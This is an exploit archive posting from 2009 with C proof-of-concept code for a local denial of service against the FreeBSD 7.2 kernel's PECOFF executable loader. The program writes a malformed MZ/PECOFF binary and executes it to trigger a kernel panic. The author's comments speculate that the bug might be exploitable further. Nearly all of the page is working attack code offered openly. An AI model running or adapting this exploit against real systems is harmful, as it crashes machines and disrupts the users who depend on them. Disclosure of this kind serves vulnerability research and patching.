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FreeBSD PECOFF Local Denial Of Service

FreeBSD PECOFF Local Denial Of Service
Posted Jul 20, 2009
Authored by Shaun Colley

FreeBSD 7.2 PECOFF executable loader local denial of service exploit.

tags | exploit, denial of service, local
systems | freebsd
SHA-256 | 6f5a0d5595aec23366df2e82623382d86a0e722426a0bc0df53b9ed926f3c18b

FreeBSD PECOFF Local Denial Of Service

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/* pecoff_panic.c
*
* by Shaun Colley, 20 July 2009
*
* this code will panic the freebsd kernel due to a bug in the PECOFF executable loader
* code ('options PECOFF_SUPPORT' in kernel config or `kldload pecoff`)
*
* panic(9) is in vm_fault due to a page fault. the panic seems to be caused in
* generic_bcopy...probably hitting a guard page..maybe exploitable(??) but this is just
* a DoS at the moment :) (ugly code btw)
*
* tested on freebsd 7.2-RELEASE
*
* - shaun
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
int i, fd;
system("rm -rf evilprog.exe; touch evilprog.exe");
fd = open("evilprog.exe", O_WRONLY);
char buf[0x3a+2+0x04+4000];
buf[0] = 'M';
buf[1] = 'Z'; /* magic */
for(i = 2; i<0x3c; i++) buf[i] = 'a';
buf[0x3c] = 0xee;
buf[0x3d] = 0xee;
buf[0x3e] = 0xee;
buf[0x3f] = 0xee;
for(i = 0x40; i<(0x40+4000); i++) buf[i] = 0x61;
write(fd, buf, 0x3a+2+0x04+4000);
close(fd);
system("chmod 700 evilprog.exe");
system("./evilprog.exe"); /* run the dodgy PECOFF binary */
}

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